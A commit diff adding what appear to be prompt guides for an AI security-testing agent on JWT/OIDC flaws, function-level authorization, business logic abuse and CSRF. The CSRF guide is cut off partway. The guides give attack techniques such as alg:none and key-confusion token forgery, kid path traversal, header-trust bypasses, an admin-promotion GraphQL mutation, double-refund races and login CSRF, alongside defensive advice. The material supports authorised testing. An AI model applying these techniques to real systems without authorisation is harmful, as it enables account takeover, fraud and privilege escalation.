Refactor(skills): rename prompt modules to skills and update documentation
This commit is contained in:
0xallam
@@ -0,0 +1,147 @@
|
||||
<authentication_jwt_guide>
|
||||
<title>AUTHENTICATION AND JWT/OIDC</title>
|
||||
|
||||
<critical>JWT/OIDC failures often enable token forgery, token confusion, cross-service acceptance, and durable account takeover. Do not trust headers, claims, or token opacity without strict validation bound to issuer, audience, key, and context.</critical>
|
||||
|
||||
<scope>
|
||||
- Web/mobile/API authentication using JWT (JWS/JWE) and OIDC/OAuth2
|
||||
- Access vs ID tokens, refresh tokens, device/PKCE/Backchannel flows
|
||||
- First-party and microservices verification, gateways, and JWKS distribution
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory issuers and consumers: identity providers, API gateways, services, mobile/web clients.
|
||||
2. Capture real tokens (access and ID) for multiple roles. Note header, claims, signature, and verification endpoints (/.well-known, /jwks.json).
|
||||
3. Build a matrix: Token Type × Audience × Service; attempt cross-use (wrong audience/issuer/service) and observe acceptance.
|
||||
4. Mutate headers (alg, kid, jku/x5u/jwk, typ/cty/crit), claims (iss/aud/azp/sub/nbf/iat/exp/scope/nonce), and signatures; verify what is actually enforced.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<endpoints>
|
||||
- Well-known: /.well-known/openid-configuration, /oauth2/.well-known/openid-configuration
|
||||
- Keys: /jwks.json, rotating key endpoints, tenant-specific JWKS
|
||||
- Auth: /authorize, /token, /introspect, /revoke, /logout, device code endpoints
|
||||
- App: /login, /callback, /refresh, /me, /session, /impersonate
|
||||
</endpoints>
|
||||
|
||||
<token_features>
|
||||
- Headers: {% raw %}{"alg":"RS256","kid":"...","typ":"JWT","jku":"...","x5u":"...","jwk":{...}}{% endraw %}
|
||||
- Claims: {% raw %}{"iss":"...","aud":"...","azp":"...","sub":"user","scope":"...","exp":...,"nbf":...,"iat":...}{% endraw %}
|
||||
- Formats: JWS (signed), JWE (encrypted). Note unencoded payload option ("b64":false) and critical headers ("crit").
|
||||
</token_features>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_techniques>
|
||||
<signature_verification>
|
||||
- RS256→HS256 confusion: change alg to HS256 and use the RSA public key as HMAC secret if algorithm is not pinned
|
||||
- "none" algorithm acceptance: set {% raw %}"alg":"none"{% endraw %} and drop the signature if libraries accept it
|
||||
- ECDSA malleability/misuse: weak verification settings accepting non-canonical signatures
|
||||
</signature_verification>
|
||||
|
||||
<header_manipulation>
|
||||
- kid injection: path traversal {% raw %}../../../../keys/prod.key{% endraw %}, SQL/command/template injection in key lookup, or pointing to world-readable files
|
||||
- jku/x5u abuse: host attacker-controlled JWKS/X509 chain; if not pinned/whitelisted, server fetches and trusts attacker keys
|
||||
- jwk header injection: embed attacker JWK in header; some libraries prefer inline JWK over server-configured keys
|
||||
- SSRF via remote key fetch: exploit JWKS URL fetching to reach internal hosts
|
||||
</header_manipulation>
|
||||
|
||||
<key_and_cache_issues>
|
||||
- JWKS caching TTL and key rollover: accept obsolete keys; race rotation windows; missing kid pinning → accept any matching kty/alg
|
||||
- Mixed environments: same secrets across dev/stage/prod; key reuse across tenants or services
|
||||
- Fallbacks: verification succeeds when kid not found by trying all keys or no keys (implementation bugs)
|
||||
</key_and_cache_issues>
|
||||
|
||||
<claims_validation_gaps>
|
||||
- iss/aud/azp not enforced: cross-service token reuse; accept tokens from any issuer or wrong audience
|
||||
- scope/roles fully trusted from token: server does not re-derive authorization; privilege inflation via claim edits when signature checks are weak
|
||||
- exp/nbf/iat not enforced or large clock skew tolerance; accept long-expired or not-yet-valid tokens
|
||||
- typ/cty not enforced: accept ID token where access token required (token confusion)
|
||||
</claims_validation_gaps>
|
||||
|
||||
<token_confusion_and_oidc>
|
||||
- Access vs ID token swap: use ID token against APIs when they only verify signature but not audience/typ
|
||||
- OIDC mix-up: redirect_uri and client mix-ups causing tokens for Client A to be redeemed at Client B
|
||||
- PKCE downgrades: missing S256 requirement; accept plain or absent code_verifier
|
||||
- State/nonce weaknesses: predictable or missing → CSRF/logical interception of login\n- Device/Backchannel flows: codes and tokens accepted by unintended clients or services
|
||||
</token_confusion_and_oidc>
|
||||
|
||||
<refresh_and_session>
|
||||
- Refresh token rotation not enforced: reuse old refresh token indefinitely; no reuse detection
|
||||
- Long-lived JWTs with no revocation: persistent access post-logout
|
||||
- Session fixation: bind new tokens to attacker-controlled session identifiers or cookies
|
||||
</refresh_and_session>
|
||||
|
||||
<transport_and_storage>
|
||||
- Token in localStorage/sessionStorage: susceptible to XSS exfiltration; cookie vs header trade-offs with SameSite/CSRF
|
||||
- Insecure CORS: wildcard origins with credentialed requests expose tokens and protected responses
|
||||
- TLS and cookie flags: missing Secure/HttpOnly; lack of mTLS or DPoP/"cnf" binding permits replay from another device
|
||||
</transport_and_storage>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<microservices_and_gateways>
|
||||
- Audience mismatch: internal services verify signature but ignore aud → accept tokens for other services
|
||||
- Header trust: edge or gateway injects X-User-Id; backend trusts it over token claims
|
||||
- Asynchronous consumers: workers process messages with bearer tokens but skip verification on replay
|
||||
</microservices_and_gateways>
|
||||
|
||||
<jws_edge_cases>
|
||||
- Unencoded payload (b64=false) with crit header: libraries mishandle verification paths
|
||||
- Nested JWT (JWT-in-JWT) verification order errors; outer token accepted while inner claims ignored
|
||||
</jws_edge_cases>
|
||||
|
||||
<special_contexts>
|
||||
<mobile>
|
||||
- Deep-link/redirect handling bugs leak codes/tokens; insecure WebView bridges exposing tokens
|
||||
- Token storage in plaintext files/SQLite/Keychain/SharedPrefs; backup/adb accessible
|
||||
</mobile>
|
||||
|
||||
<sso_federation>
|
||||
- Misconfigured trust between multiple IdPs/SPs, mixed metadata, or stale keys lead to acceptance of foreign tokens
|
||||
</sso_federation>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- XSS → token theft → replay across services with weak audience checks
|
||||
- SSRF → fetch private JWKS → sign tokens accepted by internal services
|
||||
- Host header poisoning → OIDC redirect_uri poisoning → code capture
|
||||
- IDOR in sessions/impersonation endpoints → mint tokens for other users
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
1. Show forged or cross-context token acceptance (wrong alg, wrong audience/issuer, or attacker-signed JWKS).
|
||||
2. Demonstrate access token vs ID token confusion at an API.
|
||||
3. Prove refresh token reuse without rotation detection or revocation.
|
||||
4. Confirm header abuse (kid/jku/x5u/jwk) leading to key selection under attacker control.
|
||||
5. Provide owner vs non-owner evidence with identical requests differing only in token context.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Token rejected due to strict audience/issuer enforcement
|
||||
- Key pinning with JWKS whitelist and TLS validation
|
||||
- Short-lived tokens with rotation and revocation on logout
|
||||
- ID token not accepted by APIs that require access tokens
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Account takeover and durable session persistence
|
||||
- Privilege escalation via claim manipulation or cross-service acceptance
|
||||
- Cross-tenant or cross-application data access
|
||||
- Token minting by attacker-controlled keys or endpoints
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Pin verification to issuer and audience; log and diff claim sets across services.
|
||||
2. Attempt RS256→HS256 and "none" first only if algorithm pinning is unclear; otherwise focus on header key control (kid/jku/x5u/jwk).
|
||||
3. Test token reuse across all services; many backends only check signature, not audience/typ.
|
||||
4. Exploit JWKS caching and rotation races; try retired keys and missing kid fallbacks.
|
||||
5. Exercise OIDC flows with PKCE/state/nonce variants and mixed clients; look for mix-up.
|
||||
6. Try DPoP/mTLS absence to replay tokens from different devices.
|
||||
7. Treat refresh as its own surface: rotation, reuse detection, and audience scoping.
|
||||
8. Validate every acceptance path: gateway, service, worker, WebSocket, and gRPC.
|
||||
9. Favor minimal PoCs that clearly show cross-context acceptance and durable access.
|
||||
10. When in doubt, assume verification differs per stack (mobile vs web vs gateway) and test each.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Verification must bind the token to the correct issuer, audience, key, and client context on every acceptance path. Any missing binding enables forgery or confusion.</remember>
|
||||
</authentication_jwt_guide>
|
||||
@@ -0,0 +1,146 @@
|
||||
<broken_function_level_authorization_guide>
|
||||
<title>BROKEN FUNCTION LEVEL AUTHORIZATION (BFLA)</title>
|
||||
|
||||
<critical>BFLA is action-level authorization failure: callers invoke functions (endpoints, mutations, admin tools) they are not entitled to. It appears when enforcement differs across transports, gateways, roles, or when services trust client hints. Bind subject × action at the service that performs the action.</critical>
|
||||
|
||||
<scope>
|
||||
- Vertical authz: privileged/admin/staff-only actions reachable by basic users
|
||||
- Feature gates: toggles enforced at edge/UI, not at core services
|
||||
- Transport drift: REST vs GraphQL vs gRPC vs WebSocket with inconsistent checks
|
||||
- Gateway trust: backends trust X-User-Id/X-Role injected by proxies/edges
|
||||
- Background workers/jobs performing actions without re-checking authz
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Build an Actor × Action matrix with at least: unauth, basic, premium, staff/admin. Enumerate actions (create/update/delete, approve/cancel, impersonate, export, invite, role-change, credit/refund).
|
||||
2. Obtain tokens/sessions for each role. Exercise every action across all transports and encodings (JSON, form, multipart), including method overrides.
|
||||
3. Vary headers and contextual selectors (org/tenant/project) and test behavior behind gateway vs direct-to-service.
|
||||
4. Include background flows: job creation/finalization, webhooks, queues. Confirm re-validation of authz in consumers.
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<surface_enumeration>
|
||||
- Admin/staff consoles and APIs, support tools, internal-only endpoints exposed via gateway
|
||||
- Hidden buttons and disabled UI paths (feature-flagged) mapped to still-live endpoints
|
||||
- GraphQL schemas: mutations and admin-only fields/types; gRPC service descriptors (reflection)
|
||||
- Mobile clients often reveal extra endpoints/roles in app bundles or network logs
|
||||
</surface_enumeration>
|
||||
|
||||
<signals>
|
||||
- 401/403 on UI but 200 via direct API call; differing status codes across transports
|
||||
- Actions succeed via background jobs when direct call is denied
|
||||
- Changing only headers (role/org) alters access without token change
|
||||
</signals>
|
||||
|
||||
<high_value_actions>
|
||||
- Role/permission changes, impersonation/sudo, invite/accept into orgs
|
||||
- Approve/void/refund/credit issuance, price/plan overrides
|
||||
- Export/report generation, data deletion, account suspension/reactivation
|
||||
- Feature flag toggles, quota/grant adjustments, license/seat changes
|
||||
- Security settings: 2FA reset, email/phone verification overrides
|
||||
</high_value_actions>
|
||||
|
||||
<exploitation_techniques>
|
||||
<verb_drift_and_aliases>
|
||||
- Alternate methods: GET performing state change; POST vs PUT vs PATCH differences; X-HTTP-Method-Override/_method
|
||||
- Alternate endpoints performing the same action with weaker checks (legacy vs v2, mobile vs web)
|
||||
</verb_drift_and_aliases>
|
||||
|
||||
<edge_vs_core_mismatch>
|
||||
- Edge blocks an action but core service RPC accepts it directly; call internal service via exposed API route or SSRF
|
||||
- Gateway-injected identity headers override token claims; supply conflicting headers to test precedence
|
||||
</edge_vs_core_mismatch>
|
||||
|
||||
<feature_flag_bypass>
|
||||
- Client-checked feature gates; call backend endpoints directly
|
||||
- Admin-only mutations exposed but hidden in UI; invoke via GraphQL or gRPC tools
|
||||
</feature_flag_bypass>
|
||||
|
||||
<batch_job_paths>
|
||||
- Create export/import jobs where creation is allowed but finalize/approve lacks authz; finalize others' jobs
|
||||
- Replay webhooks/background tasks endpoints that perform privileged actions without verifying caller
|
||||
</batch_job_paths>
|
||||
|
||||
<content_type_paths>
|
||||
- JSON vs form vs multipart handlers using different middleware: send the action via the most permissive parser
|
||||
</content_type_paths>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<graphql>
|
||||
- Resolver-level checks per mutation/field; do not assume top-level auth covers nested mutations or admin fields
|
||||
- Abuse aliases/batching to sneak privileged fields; persisted queries sometimes bypass auth transforms
|
||||
- Example:
|
||||
{% raw %}
|
||||
mutation Promote($id:ID!){
|
||||
a: updateUser(id:$id, role: ADMIN){ id role }
|
||||
}
|
||||
{% endraw %}
|
||||
</graphql>
|
||||
|
||||
<grpc>
|
||||
- Method-level auth via interceptors must enforce audience/roles; probe direct gRPC with tokens of lower role
|
||||
- Reflection lists services/methods; call admin methods that the gateway hid
|
||||
</grpc>
|
||||
|
||||
<websocket>
|
||||
- Handshake-only auth: ensure per-message authorization on privileged events (e.g., admin:impersonate)
|
||||
- Try emitting privileged actions after joining standard channels
|
||||
</websocket>
|
||||
|
||||
<multi_tenant>
|
||||
- Actions requiring tenant admin enforced only by header/subdomain; attempt cross-tenant admin actions by switching selectors with same token
|
||||
</multi_tenant>
|
||||
|
||||
<microservices>
|
||||
- Internal RPCs trust upstream checks; reach them through exposed endpoints or SSRF; verify each service re-enforces authz
|
||||
</microservices>
|
||||
|
||||
<bypass_techniques>
|
||||
<header_trust>
|
||||
- Supply X-User-Id/X-Role/X-Organization headers; remove or contradict token claims; observe which source wins
|
||||
</header_trust>
|
||||
|
||||
<route_shadowing>
|
||||
- Legacy/alternate routes (e.g., /admin/v1 vs /v2/admin) that skip new middleware chains
|
||||
</route_shadowing>
|
||||
|
||||
<idempotency_and_retries>
|
||||
- Retry or replay finalize/approve endpoints that apply state without checking actor on each call
|
||||
</idempotency_and_retries>
|
||||
|
||||
<cache_key_confusion>
|
||||
- Cached authorization decisions at edge leading to cross-user reuse; test with Vary and session swaps
|
||||
</cache_key_confusion>
|
||||
</bypass_techniques>
|
||||
|
||||
<validation>
|
||||
1. Show a lower-privileged principal successfully invokes a restricted action (same inputs) while the proper role succeeds and another lower role fails.
|
||||
2. Provide evidence across at least two transports or encodings demonstrating inconsistent enforcement.
|
||||
3. Demonstrate that removing/altering client-side gates (buttons/flags) does not affect backend success.
|
||||
4. Include durable state change proof: before/after snapshots, audit logs, and authoritative sources.
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Read-only endpoints mislabeled as admin but publicly documented
|
||||
- Feature toggles intentionally open to all roles for preview/beta with clear policy
|
||||
- Simulated environments where admin endpoints are stubbed with no side effects
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Privilege escalation to admin/staff actions
|
||||
- Monetary/state impact: refunds/credits/approvals without authorization
|
||||
- Tenant-wide configuration changes, impersonation, or data deletion
|
||||
- Compliance and audit violations due to bypassed approval workflows
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Start from the role matrix; test every action with basic vs admin tokens across REST/GraphQL/gRPC.
|
||||
2. Diff middleware stacks between routes; weak chains often exist on legacy or alternate encodings.
|
||||
3. Inspect gateways for identity header injection; never trust client-provided identity.
|
||||
4. Treat jobs/webhooks as first-class: finalize/approve must re-check the actor.
|
||||
5. Prefer minimal PoCs: one request that flips a privileged field or invokes an admin method with a basic token.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Authorization must bind the actor to the specific action at the service boundary on every request and message. UI gates, gateways, or prior steps do not substitute for function-level checks.</remember>
|
||||
</broken_function_level_authorization_guide>
|
||||
@@ -0,0 +1,171 @@
|
||||
<business_logic_flaws_guide>
|
||||
<title>BUSINESS LOGIC FLAWS</title>
|
||||
|
||||
<critical>Business logic flaws exploit intended functionality to violate domain invariants: move money without paying, exceed limits, retain privileges, or bypass reviews. They require a model of the business, not just payloads.</critical>
|
||||
|
||||
<scope>
|
||||
- Financial logic: pricing, discounts, payments, refunds, credits, chargebacks
|
||||
- Account lifecycle: signup, upgrade/downgrade, trial, suspension, deletion
|
||||
- Authorization-by-logic: feature gates, role transitions, approval workflows
|
||||
- Quotas/limits: rate/usage limits, inventory, entitlements, seat licensing
|
||||
- Multi-tenant isolation: cross-organization data or action bleed
|
||||
- Event-driven flows: jobs, webhooks, sagas, compensations, idempotency
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Enumerate a state machine per critical workflow (states, transitions, pre/post-conditions). Note invariants (e.g., "refund ≤ captured amount").
|
||||
2. Build an Actor × Action × Resource matrix with at least: unauth, basic user, premium, staff/admin; identify actions per role.
|
||||
3. For each transition, test step skipping, repetition, reordering, and late mutation (modify inputs after validation but before commit).
|
||||
4. Introduce time, concurrency, and channel variance: repeat with parallel requests, different content-types, mobile/web/API/GraphQL.
|
||||
5. Validate persistence boundaries: verify that all services, queues, and jobs re-enforce invariants (no trust in upstream validation).
|
||||
</methodology>
|
||||
|
||||
<discovery_techniques>
|
||||
<workflow_mapping>
|
||||
- Derive endpoints from the UI and proxy/network logs; map hidden/undocumented API calls, especially finalize/confirm endpoints
|
||||
- Identify tokens/flags: stepToken, paymentIntentId, orderStatus, reviewState, approvalId; test reuse across users/sessions
|
||||
- Document invariants: conservation of value (ledger balance), uniqueness (idempotency), monotonicity (non-decreasing counters), exclusivity (one active subscription)
|
||||
</workflow_mapping>
|
||||
|
||||
<input_surface>
|
||||
- Hidden fields and client-computed totals; server must recompute on trusted sources
|
||||
- Alternate encodings and shapes: arrays instead of scalars, objects with unexpected keys, null/empty/0/negative, scientific notation
|
||||
- Business selectors: currency, locale, timezone, tax region; vary to trigger rounding and ruleset changes
|
||||
</input_surface>
|
||||
|
||||
<state_time_axes>
|
||||
- Replays: resubmit stale finalize/confirm requests
|
||||
- Out-of-order: call finalize before verify; refund before capture; cancel after ship
|
||||
- Time windows: end-of-day/month cutovers, daylight saving, grace periods, trial expiry edges
|
||||
</state_time_axes>
|
||||
</discovery_techniques>
|
||||
|
||||
<high_value_targets>
|
||||
- Pricing/cart: price locks, quote to order, tax/shipping computation
|
||||
- Discount engines: stacking, mutual exclusivity, scope (cart vs item), once-per-user enforcement
|
||||
- Payments: auth/capture/void/refund sequences, partials, split tenders, chargebacks, idempotency keys
|
||||
- Credits/gift cards/vouchers: issuance, redemption, reversal, expiry, transferability
|
||||
- Subscriptions: proration, upgrade/downgrade, trial extension, seat counts, meter reporting
|
||||
- Refunds/returns/RMAs: multi-item partials, restocking fees, return window edges
|
||||
- Admin/staff operations: impersonation, manual adjustments, credit/refund issuance, account flags
|
||||
- Quotas/limits: daily/monthly usage, inventory reservations, feature usage counters
|
||||
</high_value_targets>
|
||||
|
||||
<exploitation_techniques>
|
||||
<state_machine_abuse>
|
||||
- Skip or reorder steps via direct API calls; verify server enforces preconditions on each transition
|
||||
- Replay prior steps with altered parameters (e.g., swap price after approval but before capture)
|
||||
- Split a single constrained action into many sub-actions under the threshold (limit slicing)
|
||||
</state_machine_abuse>
|
||||
|
||||
<concurrency_and_idempotency>
|
||||
- Parallelize identical operations to bypass atomic checks (create, apply, redeem, transfer)
|
||||
- Abuse idempotency: key scoped to path but not principal → reuse other users' keys; or idempotency stored only in cache
|
||||
- Message reprocessing: queue workers re-run tasks on retry without idempotent guards; cause duplicate fulfillment/refund
|
||||
</concurrency_and_idempotency>
|
||||
|
||||
<numeric_and_currency>
|
||||
- Floating point vs decimal rounding; rounding/truncation favoring attacker at boundaries
|
||||
- Cross-currency arbitrage: buy in currency A, refund in B at stale rates; tax rounding per-item vs per-order
|
||||
- Negative amounts, zero-price, free shipping thresholds, minimum/maximum guardrails
|
||||
</numeric_and_currency>
|
||||
|
||||
<quotas_limits_inventory>
|
||||
- Off-by-one and time-bound resets (UTC vs local); pre-warm at T-1s and post-fire at T+1s
|
||||
- Reservation/hold leaks: reserve multiple, complete one, release not enforced; backorder logic inconsistencies
|
||||
- Distributed counters without strong consistency enabling double-consumption
|
||||
</quotas_limits_inventory>
|
||||
|
||||
<refunds_chargebacks>
|
||||
- Double-refund: refund via UI and support tool; refund partials summing above captured amount
|
||||
- Refund after benefits consumed (downloaded digital goods, shipped items) due to missing post-consumption checks
|
||||
</refunds_chargebacks>
|
||||
|
||||
<feature_gates_and_roles>
|
||||
- Feature flags enforced client-side or at edge but not in core services; toggle names guessed or fallback to default-enabled
|
||||
- Role transitions leaving stale capabilities (retain premium after downgrade; retain admin endpoints after demotion)
|
||||
</feature_gates_and_roles>
|
||||
|
||||
<advanced_techniques>
|
||||
<event_driven_sagas>
|
||||
- Saga/compensation gaps: trigger compensation without original success; or execute success twice without compensation
|
||||
- Outbox/Inbox patterns missing idempotency → duplicate downstream side effects
|
||||
- Cron/backfill jobs operating outside request-time authorization; mutate state broadly
|
||||
</event_driven_sagas>
|
||||
|
||||
<microservices_boundaries>
|
||||
- Cross-service assumption mismatch: one service validates total, another trusts line items; alter between calls
|
||||
- Header trust: internal services trusting X-Role or X-User-Id from untrusted edges
|
||||
- Partial failure windows: two-phase actions where phase 1 commits without phase 2, leaving exploitable intermediate state
|
||||
</microservices_boundaries>
|
||||
|
||||
<multi_tenant_isolation>
|
||||
- Tenant-scoped counters and credits updated without tenant key in the where-clause; leak across orgs
|
||||
- Admin aggregate views allowing actions that impact other tenants due to missing per-tenant enforcement
|
||||
</multi_tenant_isolation>
|
||||
|
||||
<bypass_techniques>
|
||||
- Content-type switching (json/form/multipart) to hit different code paths
|
||||
- Method alternation (GET performing state change; overrides via X-HTTP-Method-Override)
|
||||
- Client recomputation: totals, taxes, discounts computed on client and accepted by server
|
||||
- Cache/gateway differentials: stale decisions from CDN/APIM that are not identity-aware
|
||||
</bypass_techniques>
|
||||
|
||||
<special_contexts>
|
||||
<ecommerce>
|
||||
- Stack incompatible discounts via parallel apply; remove qualifying item after discount applied; retain free shipping after cart changes
|
||||
- Modify shipping tier post-quote; abuse returns to keep product and refund
|
||||
</ecommerce>
|
||||
|
||||
<banking_fintech>
|
||||
- Split transfers to bypass per-transaction threshold; schedule vs instant path inconsistencies
|
||||
- Exploit grace periods on holds/authorizations to withdraw again before settlement
|
||||
</banking_fintech>
|
||||
|
||||
<saas_b2b>
|
||||
- Seat licensing: race seat assignment to exceed purchased seats; stale license checks in background tasks
|
||||
- Usage metering: report late or duplicate usage to avoid billing or to over-consume
|
||||
</saas_b2b>
|
||||
</special_contexts>
|
||||
|
||||
<chaining_attacks>
|
||||
- Business logic + race: duplicate benefits before state updates
|
||||
- Business logic + IDOR: operate on others' resources once a workflow leak reveals IDs
|
||||
- Business logic + CSRF: force a victim to complete a sensitive step sequence
|
||||
</chaining_attacks>
|
||||
|
||||
<validation>
|
||||
1. Show an invariant violation (e.g., two refunds for one charge, negative inventory, exceeding quotas).
|
||||
2. Provide side-by-side evidence for intended vs abused flows with the same principal.
|
||||
3. Demonstrate durability: the undesired state persists and is observable in authoritative sources (ledger, emails, admin views).
|
||||
4. Quantify impact per action and at scale (unit loss × feasible repetitions).
|
||||
</validation>
|
||||
|
||||
<false_positives>
|
||||
- Promotional behavior explicitly allowed by policy (documented free trials, goodwill credits)
|
||||
- Visual-only inconsistencies with no durable or exploitable state change
|
||||
- Admin-only operations with proper audit and approvals
|
||||
</false_positives>
|
||||
|
||||
<impact>
|
||||
- Direct financial loss (fraud, arbitrage, over-refunds, unpaid consumption)
|
||||
- Regulatory/contractual violations (billing accuracy, consumer protection)
|
||||
- Denial of inventory/services to legitimate users through resource exhaustion
|
||||
- Privilege retention or unauthorized access to premium features
|
||||
</impact>
|
||||
|
||||
<pro_tips>
|
||||
1. Start from invariants and ledgers, not UI—prove conservation of value breaks.
|
||||
2. Test with time and concurrency; many bugs only appear under pressure.
|
||||
3. Recompute totals server-side; never accept client math—flag when you observe otherwise.
|
||||
4. Treat idempotency and retries as first-class: verify key scope and persistence.
|
||||
5. Probe background workers and webhooks separately; they often skip auth and rule checks.
|
||||
6. Validate role/feature gates at the service that mutates state, not only at the edge.
|
||||
7. Explore end-of-period edges (month-end, trial end, DST) for rounding and window issues.
|
||||
8. Use minimal, auditable PoCs that demonstrate durable state change and exact loss.
|
||||
9. Chain with authorization tests (IDOR/Function-level access) to magnify impact.
|
||||
10. When in doubt, map the state machine; gaps appear where transitions lack server-side guards.
|
||||
</pro_tips>
|
||||
|
||||
<remember>Business logic security is the enforcement of domain invariants under adversarial sequencing, timing, and inputs. If any step trusts the client or prior steps, expect abuse.</remember>
|
||||
</business_logic_flaws_guide>
|
||||
@@ -0,0 +1,174 @@
|
||||
<csrf_vulnerability_guide>
|
||||
<title>CROSS-SITE REQUEST FORGERY (CSRF)</title>
|
||||
|
||||
<critical>CSRF abuses ambient authority (cookies, HTTP auth) across origins. Do not rely on CORS alone; enforce non-replayable tokens and strict origin checks for every state change.</critical>
|
||||
|
||||
<scope>
|
||||
- Web apps with cookie-based sessions and HTTP auth
|
||||
- JSON/REST, GraphQL (GET/persisted queries), file upload endpoints
|
||||
- Authentication flows: login/logout, password/email change, MFA toggles
|
||||
- OAuth/OIDC: authorize, token, logout, disconnect/connect
|
||||
</scope>
|
||||
|
||||
<methodology>
|
||||
1. Inventory all state-changing endpoints (including admin/staff) and note method, content-type, and whether they are reachable via top-level navigation or simple requests (no preflight).
|
||||
2. For each, determine session model (cookies with SameSite attrs, custom headers, tokens) and whether server enforces anti-CSRF tokens and Origin/Referer.
|
||||
3. Attempt preflightless delivery (form POST, text/plain, multipart/form-data) and top-level GET navigation.
|
||||
4. Validate across browsers; behavior differs by SameSite and navigation context.
|
||||
</methodology>
|
||||
|
||||
<high_value_targets>
|
||||
- Credentials and profile changes (email/password/phone)
|
||||
- Payment and money movement, subscription/plan changes
|
||||
- API key/secret generation, PAT rotation, SSH keys
|
||||
- 2FA/TOTP enable/disable; backup codes; device trust
|
||||
- OAuth connect/disconnect; logout; account deletion
|
||||
- Admin/staff actions and impersonation flows
|
||||
- File uploads/deletes; access control changes
|
||||
</high_value_targets>
|
||||
|
||||
<discovery_techniques>
|
||||
<session_and_cookies>
|
||||
- Inspect cookies: HttpOnly, Secure, SameSite (Strict/Lax/None). Note that Lax allows cookies on top-level cross-site GET; None requires Secure.
|
||||
- Determine if Authorization headers or bearer tokens are used (generally not CSRF-prone) versus cookies (CSRF-prone).
|
||||
</session_and_cookies>
|
||||
|
||||
<token_and_header_checks>
|
||||
- Locate anti-CSRF tokens (hidden inputs, meta tags, custom headers). Test removal, reuse across requests, reuse across sessions, and binding to method/path.
|
||||
- Verify server checks Origin and/or Referer on state changes; test null/missing and cross-origin values.
|
||||
</token_and_header_checks>
|
||||
|
||||
<method_and_content_types>
|
||||
- Confirm whether GET, HEAD, or OPTIONS perform state changes.
|
||||
- Try simple content-types to avoid preflight: application/x-www-form-urlencoded, multipart/form-data, text/plain.
|
||||
- Probe parsers that auto-coerce text/plain or form-encoded bodies into JSON.
|
||||
</method_and_content_types>
|
||||
|
||||
<cors_profile>
|
||||
- Identify Access-Control-Allow-Origin and -Credentials. Overly permissive CORS is not a CSRF fix and can turn CSRF into data exfiltration.
|
||||
- Test per-endpoint CORS differences; preflight vs simple request behavior can diverge.
|
||||
</cors_profile>
|
||||
</discovery_techniques>
|
||||
|
||||
<exploitation_techniques>
|
||||
<navigation_csrf>
|
||||
- Auto-submitting form to target origin; works when cookies are sent and no token/origin checks are enforced.
|
||||
- Top-level GET navigation can trigger state if server misuses GET or links actions to GET callbacks.
|
||||
</navigation_csrf>
|
||||
|
||||
<simple_ct_csrf>
|
||||
- application/x-www-form-urlencoded and multipart/form-data POSTs do not require preflight; prefer these encodings.
|
||||
- text/plain form bodies can slip through validators and be parsed server-side.
|
||||
</simple_ct_csrf>
|
||||
|
||||
<json_csrf>
|
||||
- If server parses JSON from text/plain or form-encoded bodies, craft parameters to reconstruct JSON server-side.
|
||||
- Some frameworks accept JSON keys via form fields (e.g., {% raw %}data[foo]=bar{% endraw %}) or treat duplicate keys leniently.
|
||||
</json_csrf>
|
||||
|
||||
<login_logout_csrf>
|
||||
- Force logout to clear CSRF tokens, then chain login CSRF to bind victim to attacker’s account.
|
||||
- Login CSRF: submit attacker credentials to victim’s browser; later actions occur under attacker’s account.
|
||||
</login_logout_csrf>
|
||||
|
||||
<oauth_oidc_flows>
|
||||
- Abuse authorize/logout endpoints reachable via GET or form POST without origin checks; exploit relaxed SameSite on top-level navigations.
|
||||
- Open redirects or loose redirect_uri validation can chain with CSRF to force unintended authorizations.
|
||||
</oauth_oidc_flows>
|
||||
|
||||
<file_and_action_endpoints>
|
||||
- File upload/delete often lack token checks; forge multipart requests to modify storage.
|
||||
- Admin actions exposed as simple POST links are frequently CSRFable.
|
||||
</file_and_action_endpoints>
|
||||
</exploitation_techniques>
|
||||
|
||||
<advanced_techniques>
|
||||
<samesite_nuance>
|
||||
- Lax-by-default cookies are sent on top-level cross-site GET but not POST; exploit GET state changes and GET-based confirmation steps.
|
||||
- Legacy or nonstandard clients may ignore SameSite; validate across browsers/devices.
|
||||
</samesite_nuance>
|
||||
|
||||
<origin_referer_obfuscation>
|
||||
- Sandbox/iframes can produce null Origin; some frameworks incorrectly accept null.
|
||||
- about:blank/data: URLs alter Referer; ensure server requires explicit Origin/Referer match.
|
||||
</origin_referer_obfuscation>
|
||||
|
||||
<method_override>
|
||||
- Backends honoring _method or X-HTTP-Method-Override may allow destructive actions through a simple POST.
|
||||
</method_override>
|
||||
|
||||
<graphql_csrf>
|
||||
- If queries/mutations are allowed via GET or persisted queries, exploit top-level navigation with encoded payloads.
|
||||
- Batched operations may hide mutations within a nominally safe request.
|
||||
</graphql_csrf>
|
||||
|
||||
<websocket_csrf>
|
||||
- Browsers send cookies on WebSocket handshake; enforce Origin checks server-side. Without them, cross-site pages can open authenticated sockets and issue actions.
|
||||
</websocket_csrf>
|
||||
</advanced_techniques>
|
||||
|
||||
<bypass_techniques>
|
||||
<token_weaknesses>
|
||||
- Accepting missing/empty tokens; tokens not tied to session, user, or path; tokens reused indefinitely; tokens in GET.
|
||||
- Double-submit cookie without Secure/HttpOnly, or with predictable token sources.
|
||||
</token_weaknesses>
|
||||
|
||||
<content_type_switching>
|
||||
- Switch between form, multipart, and text/plain to reach different code paths and validators.
|
||||
- Use duplicate keys and array shapes to confuse parsers.
|
||||
</content_type_switching>
|
||||
|
||||
<header_manipulation>
|
||||
- Strip Referer via meta refresh or navigate from about:blank; test null Origin acceptance.
|
||||
